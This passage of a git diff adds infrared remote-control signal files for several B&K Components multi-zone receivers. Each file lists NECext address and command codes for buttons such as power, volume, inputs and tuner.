+command: 33 00 00 00 +# +name: BK014_NUMBER_4 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 35 00 00 00 +# +name: BK014_NUMBER_5 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 36 00 00 00 +# +name: BK014_NUMBER_6 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 37 00 00 00 +# +name: BK014_NUMBER_7 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 39 00 00 00 +# +name: BK014_NUMBER_8 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 3A 00 00 00 +# +name: BK014_NUMBER_9 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 3B 00 00 00 +# +name: BK014_NUMBER_0 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 3E 00 00 00 +# +name: BK014_SAVE +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 40 00 00 00 +# +name: BK014_TUNER_3 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 44 00 00 00 +# +name: BK014_INPUT_6 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 4A 00 00 00 +# +name: BK014_PRESET+ +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 4B 00 00 00 +# +name: BK014_D-IN +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 5A 00 00 00 +# +name: BK014_BASS- +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 65 00 00 00 +# +name: BK014_SOURCE+ +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 66 00 00 00 +# +name: BK014_INPUT_9 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 6E 00 00 00 +# +name: BK014_AM +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 76 00 00 00 +# +name: BK014_TREBLE- +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 79 00 00 00 +# +name: BK014_VIDEO- +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 7A 00 00 00 +# +name: BK014_EXIT +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 7D 00 00 00 +# +name: BK014_TUNER_2 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 84 00 00 00 +# +name: BK014_FM +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 8E 00 00 00 +# +name: BK014_SOURCE- +type: parsed +protocol: NECext +address: BB 00 00 00 +command: A6 00 00 00 +# +name: BK014_SLEEP +type: parsed +protocol: NECext +address: BB 00 00 00 +command: B3 00 00 00 +# +name: BK014_PRESET- +type: parsed +protocol: NECext +address: BB 00 00 00 +command: C6 00 00 00 +# +name: BK014_LOUDNESS +type: parsed +protocol: NECext +address: BB 00 00 00 +command: CF 00 00 00 +# +name: BK014_AUTO_LEVEL +type: parsed +protocol: NECext +address: BB 00 00 00 +command: E4 00 00 00 +# +name: BK014_BASS+ +type: parsed +protocol: NECext +address: BB 00 00 00 +command: E5 00 00 00 +# +name: BK014_TREBLE+ +type: parsed +protocol: NECext +address: BB 00 00 00 +command: F9 00 00 00 +# +name: BK014_VIDEO+ +type: parsed +protocol: NECext +address: BB 00 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/199,131.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/199,131.ir new file mode 100644 index 000000000..dbe960007 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/199,131.ir @@ -0,0 +1,338 @@ +Filetype: IR signals file +Version: 1 +# +name: BK021_POWER_OFF +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 01 00 00 00 +# +name: BK021_POWER_ON +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 02 00 00 00 +# +name: BK021_MUTE +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 03 00 00 00 +# +name: BK021_INPUT_1 +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 05 00 00 00 +# +name: BK021_INPUT_3 +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 06 00 00 00 +# +name: BK021_INPUT_8 +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 07 00 00 00 +# +name: BK021_INPUT_2 +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 09 00 00 00 +# +name: BK021_INPUT_7 +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 0B 00 00 00 +# +name: BK021_INPUT_4 +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 0D 00 00 00 +# +name: BK021_TUNER_1 +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 0E 00 00 00 +# +name: BK021_INPUT_5 +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 0F 00 00 00 +# +name: BK021_STATION- +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 17 00 00 00 +# +name: BK021_STATION+ +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 18 00 00 00 +# +name: BK021_TUNE- +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 1B 00 00 00 +# +name: BK021_TUNE+ +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 1C 00 00 00 +# +name: BK021_LEFT +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 1F 00 00 00 +# +name: BK021_RIGHT +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 20 00 00 00 +# +name: BK021_VOLUME- +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 23 00 00 00 +# +name: BK021_VOLUME+ +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 24 00 00 00 +# +name: BK021_NUMBER_+10 +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 29 00 00 00 +# +name: BK021_EQ +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 2A 00 00 00 +# +name: BK021_DOWN +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 2D 00 00 00 +# +name: BK021_UP +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 2E 00 00 00 +# +name: BK021_ENTER +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 30 00 00 00 +# +name: BK021_NUMBER_1 +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 31 00 00 00 +# +name: BK021_NUMBER_2 +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 32 00 00 00 +# +name: BK021_NUMBER_3 +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 33 00 00 00 +# +name: BK021_NUMBER_4 +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 35 00 00 00 +# +name: BK021_NUMBER_5 +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 36 00 00 00 +# +name: BK021_NUMBER_6 +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 37 00 00 00 +# +name: BK021_NUMBER_7 +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 39 00 00 00 +# +name: BK021_NUMBER_8 +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 3A 00 00 00 +# +name: BK021_NUMBER_9 +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 3B 00 00 00 +# +name: BK021_NUMBER_0 +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 3E 00 00 00 +# +name: BK021_SAVE +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 40 00 00 00 +# +name: BK021_TUNER_3 +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 44 00 00 00 +# +name: BK021_INPUT_6 +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 4A 00 00 00 +# +name: BK021_PRESET+ +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 4B 00 00 00 +# +name: BK021_D-IN +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 5A 00 00 00 +# +name: BK021_BASS- +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 65 00 00 00 +# +name: BK021_SOURCE+ +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 66 00 00 00 +# +name: BK021_INPUT_9 +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 6E 00 00 00 +# +name: BK021_AM +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 76 00 00 00 +# +name: BK021_TREBLE- +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 79 00 00 00 +# +name: BK021_VIDEO- +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 7A 00 00 00 +# +name: BK021_EXIT +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 7D 00 00 00 +# +name: BK021_TUNER_2 +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 84 00 00 00 +# +name: BK021_FM +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 8E 00 00 00 +# +name: BK021_SOURCE- +type: parsed +protocol: NECext +address: C7 83 00 00 +command: A6 00 00 00 +# +name: BK021_SLEEP +type: parsed +protocol: NECext +address: C7 83 00 00 +command: B3 00 00 00 +# +name: BK021_PRESET- +type: parsed +protocol: NECext +address: C7 83 00 00 +command: C6 00 00 00 +# +name: BK021_LOUDNESS +type: parsed +protocol: NECext +address: C7 83 00 00 +command: CF 00 00 00 +# +name: BK021_AUTO_LEVEL +type: parsed +protocol: NECext +address: C7 83 00 00 +command: E4 00 00 00 +# +name: BK021_BASS+ +type: parsed +protocol: NECext +address: C7 83 00 00 +command: E5 00 00 00 +# +name: BK021_TREBLE+ +type: parsed +protocol: NECext +address: C7 83 00 00 +command: F9 00 00 00 +# +name: BK021_VIDEO+ +type: parsed +protocol: NECext +address: C7 83 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/215,130.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/215,130.ir new file mode 100644 index 000000000..318b75526 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/215,130.ir @@ -0,0 +1,338 @@ +Filetype: IR signals file +Version: 1 +# +name: BK028_POWER_OFF +type: parsed +protocol: NECext +address: D7 82 00 00 +command: 01 00 00 00 +# +name: BK028_POWER_ON +type: parsed +protocol: NECext +address: D7 82 00 00 +command: 02 00 00 00 +# +name: BK028_MUTE +type: parsed +protocol: NECext +address: D7 82 00 00 +command: 03 00 00 00 +# +name: BK028_INPUT_1 +type: parsed +protocol: NECext +address: D7 82 00 00 +command: 05 00 00 00 +# +name: BK028_INPUT_3 +type: parsed +protocol: NECext +address: D7 82 00 00 +command: 06 00 00 00 +# +name: BK028_INPUT_8 +type: parsed +protocol: NECext +address: D7 82 00 00 +command: 07 00 00 00 +# +name: BK028_INPUT_2 +type: parsed +protocol: NECext +address: D7 82 00 00 +command: 09 00 00 00 +# +name: BK028_INPUT_7 +type: parsed +protocol: NECext +address: D7 82 00 00 +command: 0B 00 00 00 +# +name: BK028_INPUT_4 +type: parsed +protocol: NECext +address: D7 82 00 00 +command: 0D 00 00 00 +# +name: BK028_TUNER_1 +type: parsed +protocol: NECext +address: D7 82 00 00 +command: 0E 00 00 00 +# +name: BK028_INPUT_5 +type: parsed +protocol: NECext +address: D7 82 00 00 +command: 0F 00 00 00 +# +name: BK028_STATION- +type: parsed +protocol: NECext +address: D7 82 00 00 +command: 17 00 00 00 +# +name: BK028_STATION+ +type: parsed +protocol: NECext +address: D7 82 00 00 +command: 18 00 00 00 +# +name: BK028_TUNE- +type: parsed +protocol: NECext +address: D7 82 00 00 +command: 1B 00 00 00 +# +name: BK028_TUNE+ +type: parsed +protocol: NECext +address: D7 82 00 00 +command: 1C 00 00 00 +# +name: BK028_LEFT +type: parsed +protocol: NECext +address: D7 82 00 00 +command: 1F 00 00 00 +# +name: BK028_RIGHT +type: parsed +protocol: NECext +address: D7 82 00 00 +command: 20 00 00 00 +# +name: BK028_VOLUME- +type: parsed +protocol: NECext +address: D7 82 00 00 +command: 23 00 00 00 +# +name: BK028_VOLUME+ +type: parsed +protocol: NECext +address: D7 82 00 00 +command: 24 00 00 00 +# +name: BK028_NUMBER_+10 +type: parsed +protocol: NECext +address: D7 82 00 00 +command: 29 00 00 00 +# +name: BK028_EQ +type: parsed +protocol: NECext +address: D7 82 00 00 +command: 2A 00 00 00 +# +name: BK028_DOWN +type: parsed +protocol: NECext +address: D7 82 00 00 +command: 2D 00 00 00 +# +name: BK028_UP +type: parsed +protocol: NECext +address: D7 82 00 00 +command: 2E 00 00 00 +# +name: BK028_ENTER +type: parsed +protocol: NECext +address: D7 82 00 00 +command: 30 00 00 00 +# +name: BK028_NUMBER_1 +type: parsed +protocol: NECext +address: D7 82 00 00 +command: 31 00 00 00 +# +name: BK028_NUMBER_2 +type: parsed +protocol: NECext +address: D7 82 00 00 +command: 32 00 00 00 +# +name: BK028_NUMBER_3 +type: parsed +protocol: NECext +address: D7 82 00 00 +command: 33 00 00 00 +# +name: BK028_NUMBER_4 +type: parsed +protocol: NECext +address: D7 82 00 00 +command: 35 00 00 00 +# +name: BK028_NUMBER_5 +type: parsed +protocol: NECext +address: D7 82 00 00 +command: 36 00 00 00 +# +name: BK028_NUMBER_6 +type: parsed +protocol: NECext +address: D7 82 00 00 +command: 37 00 00 00 +# +name: BK028_NUMBER_7 +type: parsed +protocol: NECext +address: D7 82 00 00 +command: 39 00 00 00 +# +name: BK028_NUMBER_8 +type: parsed +protocol: NECext +address: D7 82 00 00 +command: 3A 00 00 00 +# +name: BK028_NUMBER_9 +type: parsed +protocol: NECext +address: D7 82 00 00 +command: 3B 00 00 00 +# +name: BK028_NUMBER_0 +type: parsed +protocol: NECext +address: D7 82 00 00 +command: 3E 00 00 00 +# +name: BK028_SAVE +type: parsed +protocol: NECext +address: D7 82 00 00 +command: 40 00 00 00 +# +name: BK028_TUNER_3 +type: parsed +protocol: NECext +address: D7 82 00 00 +command: 44 00 00 00 +# +name: BK028_INPUT_6 +type: parsed +protocol: NECext +address: D7 82 00 00 +command: 4A 00 00 00 +# +name: BK028_PRESET+ +type: parsed +protocol: NECext +address: D7 82 00 00 +command: 4B 00 00 00 +# +name: BK028_D-IN +type: parsed +protocol: NECext +address: D7 82 00 00 +command: 5A 00 00 00 +# +name: BK028_BASS- +type: parsed +protocol: NECext +address: D7 82 00 00 +command: 65 00 00 00 +# +name: BK028_SOURCE+ +type: parsed +protocol: NECext +address: D7 82 00 00 +command: 66 00 00 00 +# +name: BK028_INPUT_9 +type: parsed +protocol: NECext +address: D7 82 00 00 +command: 6E 00 00 00 +# +name: BK028_AM +type: parsed +protocol: NECext +address: D7 82 00 00 +command: 76 00 00 00 +# +name: BK028_TREBLE- +type: parsed +protocol: NECext +address: D7 82 00 00 +command: 79 00 00 00 +# +name: BK028_VIDEO- +type: parsed +protocol: NECext +address: D7 82 00 00 +command: 7A 00 00 00 +# +name: BK028_EXIT +type: parsed +protocol: NECext +address: D7 82 00 00 +command: 7D 00 00 00 +# +name: BK028_TUNER_2 +type: parsed +protocol: NECext +address: D7 82 00 00 +command: 84 00 00 00 +# +name: BK028_FM +type: parsed +protocol: NECext +address: D7 82 00 00 +command: 8E 00 00 00 +# +name: BK028_SOURCE- +type: parsed +protocol: NECext +address: D7 82 00 00 +command: A6 00 00 00 +# +name: BK028_SLEEP +type: parsed +protocol: NECext +address: D7 82 00 00 +command: B3 00 00 00 +# +name: BK028_PRESET- +type: parsed +protocol: NECext +address: D7 82 00 00 +command: C6 00 00 00 +# +name: BK028_LOUDNESS +type: parsed +protocol: NECext +address: D7 82 00 00 +command: CF 00 00 00 +# +name: BK028_AUTO_LEVEL +type: parsed +protocol: NECext +address: D7 82 00 00 +command: E4 00 00 00 +# +name: BK028_BASS+ +type: parsed +protocol: NECext +address: D7 82 00 00 +command: E5 00 00 00 +# +name: BK028_TREBLE+ +type: parsed +protocol: NECext +address: D7 82 00 00 +command: F9 00 00 00 +# +name: BK028_VIDEO+ +type: parsed +protocol: NECext +address: D7 82 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/219,66.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/219,66.ir new file mode 100644 index 000000000..c954d9aa8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/219,66.ir @@ -0,0 +1,338 @@ +Filetype: IR signals file +Version: 1 +# +name: BK012_POWER_OFF +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 01 00 00 00 +# +name: BK012_POWER_ON +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 02 00 00 00 +# +name: BK012_MUTE +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 03 00 00 00 +# +name: BK012_INPUT_1 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 05 00 00 00 +# +name: BK012_INPUT_3 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 06 00 00 00 +# +name: BK012_INPUT_8 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 07 00 00 00 +# +name: BK012_INPUT_2 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 09 00 00 00 +# +name: BK012_INPUT_7 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 0B 00 00 00 +# +name: BK012_INPUT_4 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 0D 00 00 00 +# +name: BK012_TUNER_1 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 0E 00 00 00 +# +name: BK012_INPUT_5 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 0F 00 00 00 +# +name: BK012_STATION- +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 17 00 00 00 +# +name: BK012_STATION+ +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 18 00 00 00 +# +name: BK012_TUNE- +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 1B 00 00 00 +# +name: BK012_TUNE+ +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 1C 00 00 00 +# +name: BK012_LEFT +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 1F 00 00 00 +# +name: BK012_RIGHT +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 20 00 00 00 +# +name: BK012_VOLUME- +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 23 00 00 00 +# +name: BK012_VOLUME+ +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 24 00 00 00 +# +name: BK012_NUMBER_+10 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 29 00 00 00 +# +name: BK012_EQ +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 2A 00 00 00 +# +name: BK012_DOWN +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 2D 00 00 00 +# +name: BK012_UP +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 2E 00 00 00 +# +name: BK012_ENTER +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 30 00 00 00 +# +name: BK012_NUMBER_1 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 31 00 00 00 +# +name: BK012_NUMBER_2 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 32 00 00 00 +# +name: BK012_NUMBER_3 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 33 00 00 00 +# +name: BK012_NUMBER_4 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 35 00 00 00 +# +name: BK012_NUMBER_5 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 36 00 00 00 +# +name: BK012_NUMBER_6 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 37 00 00 00 +# +name: BK012_NUMBER_7 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 39 00 00 00 +# +name: BK012_NUMBER_8 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 3A 00 00 00 +# +name: BK012_NUMBER_9 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 3B 00 00 00 +# +name: BK012_NUMBER_0 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 3E 00 00 00 +# +name: BK012_SAVE +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 40 00 00 00 +# +name: BK012_TUNER_3 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 44 00 00 00 +# +name: BK012_INPUT_6 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 4A 00 00 00 +# +name: BK012_PRESET+ +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 4B 00 00 00 +# +name: BK012_D-IN +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 5A 00 00 00 +# +name: BK012_BASS- +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 65 00 00 00 +# +name: BK012_SOURCE+ +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 66 00 00 00 +# +name: BK012_INPUT_9 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 6E 00 00 00 +# +name: BK012_AM +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 76 00 00 00 +# +name: BK012_TREBLE- +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 79 00 00 00 +# +name: BK012_VIDEO- +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 7A 00 00 00 +# +name: BK012_EXIT +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 7D 00 00 00 +# +name: BK012_TUNER_2 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 84 00 00 00 +# +name: BK012_FM +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 8E 00 00 00 +# +name: BK012_SOURCE- +type: parsed +protocol: NECext +address: DB 42 00 00 +command: A6 00 00 00 +# +name: BK012_SLEEP +type: parsed +protocol: NECext +address: DB 42 00 00 +command: B3 00 00 00 +# +name: BK012_PRESET- +type: parsed +protocol: NECext +address: DB 42 00 00 +command: C6 00 00 00 +# +name: BK012_LOUDNESS +type: parsed +protocol: NECext +address: DB 42 00 00 +command: CF 00 00 00 +# +name: BK012_AUTO_LEVEL +type: parsed +protocol: NECext +address: DB 42 00 00 +command: E4 00 00 00 +# +name: BK012_BASS+ +type: parsed +protocol: NECext +address: DB 42 00 00 +command: E5 00 00 00 +# +name: BK012_TREBLE+ +type: parsed +protocol: NECext +address: DB 42 00 00 +command: F9 00 00 00 +# +name: BK012_VIDEO+ +type: parsed +protocol: NECext +address: DB 42 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/23,142.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/23,142.ir new file mode 100644 index 000000000..3242bf626 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/23,142.ir @@ -0,0 +1,338 @@ +Filetype: IR signals file +Version: 1 +# +name: BK017_POWER_OFF +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 01 00 00 00 +# +name: BK017_POWER_ON +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 02 00 00 00 +# +name: BK017_MUTE +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 03 00 00 00 +# +name: BK017_INPUT_1 +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 05 00 00 00 +# +name: BK017_INPUT_3 +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 06 00 00 00 +# +name: BK017_INPUT_8 +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 07 00 00 00 +# +name: BK017_INPUT_2 +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 09 00 00 00 +# +name: BK017_INPUT_7 +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 0B 00 00 00 +# +name: BK017_INPUT_4 +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 0D 00 00 00 +# +name: BK017_TUNER_1 +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 0E 00 00 00 +# +name: BK017_INPUT_5 +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 0F 00 00 00 +# +name: BK017_STATION- +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 17 00 00 00 +# +name: BK017_STATION+ +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 18 00 00 00 +# +name: BK017_TUNE- +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 1B 00 00 00 +# +name: BK017_TUNE+ +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 1C 00 00 00 +# +name: BK017_LEFT +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 1F 00 00 00 +# +name: BK017_RIGHT +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 20 00 00 00 +# +name: BK017_VOLUME- +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 23 00 00 00 +# +name: BK017_VOLUME+ +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 24 00 00 00 +# +name: BK017_NUMBER_+10 +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 29 00 00 00 +# +name: BK017_EQ +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 2A 00 00 00 +# +name: BK017_DOWN +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 2D 00 00 00 +# +name: BK017_UP +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 2E 00 00 00 +# +name: BK017_ENTER +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 30 00 00 00 +# +name: BK017_NUMBER_1 +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 31 00 00 00 +# +name: BK017_NUMBER_2 +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 32 00 00 00 +# +name: BK017_NUMBER_3 +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 33 00 00 00 +# +name: BK017_NUMBER_4 +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 35 00 00 00 +# +name: BK017_NUMBER_5 +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 36 00 00 00 +# +name: BK017_NUMBER_6 +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 37 00 00 00 +# +name: BK017_NUMBER_7 +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 39 00 00 00 +# +name: BK017_NUMBER_8 +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 3A 00 00 00 +# +name: BK017_NUMBER_9 +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 3B 00 00 00 +# +name: BK017_NUMBER_0 +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 3E 00 00 00 +# +name: BK017_SAVE +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 40 00 00 00 +# +name: BK017_TUNER_3 +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 44 00 00 00 +# +name: BK017_INPUT_6 +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 4A 00 00 00 +# +name: BK017_PRESET+ +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 4B 00 00 00 +# +name: BK017_D-IN +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 5A 00 00 00 +# +name: BK017_BASS- +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 65 00 00 00 +# +name: BK017_SOURCE+ +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 66 00 00 00 +# +name: BK017_INPUT_9 +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 6E 00 00 00 +# +name: BK017_AM +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 76 00 00 00 +# +name: BK017_TREBLE- +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 79 00 00 00 +# +name: BK017_VIDEO- +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 7A 00 00 00 +# +name: BK017_EXIT +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 7D 00 00 00 +# +name: BK017_TUNER_2 +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 84 00 00 00 +# +name: BK017_FM +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 8E 00 00 00 +# +name: BK017_SOURCE- +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: A6 00 00 00 +# +name: BK017_SLEEP +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: B3 00 00 00 +# +name: BK017_PRESET- +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: C6 00 00 00 +# +name: BK017_LOUDNESS +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: CF 00 00 00 +# +name: BK017_AUTO_LEVEL +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: E4 00 00 00 +# +name: BK017_BASS+ +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: E5 00 00 00 +# +name: BK017_TREBLE+ +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: F9 00 00 00 +# +name: BK017_VIDEO+ +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/231,129.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/231,129.ir new file mode 100644 index 000000000..68ce38513 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/231,129.ir @@ -0,0 +1,338 @@ +Filetype: IR signals file +Version: 1 +# +name: BK025_POWER_OFF +type: parsed +protocol: NECext +address: E7 81 00 00 +command: 01 00 00 00 +# +name: BK025_POWER_ON +type: parsed +protocol: NECext +address: E7 81 00 00 +command: 02 00 00 00 +# +name: BK025_MUTE +type: parsed +protocol: NECext +address: E7 81 00 00 +command: 03 00 00 00 +# +name: BK025_INPUT_1 +type: parsed +protocol: NECext +address: E7 81 00 00 +command: 05 00 00 00 +# +name: BK025_INPUT_3 +type: parsed +protocol: NECext +address: E7 81 00 00 +command: 06 00 00 00 +# +name: BK025_INPUT_8 +type: parsed +protocol: NECext +address: E7 81 00 00 +command: 07 00 00 00 +# +name: BK025_INPUT_2 +type: 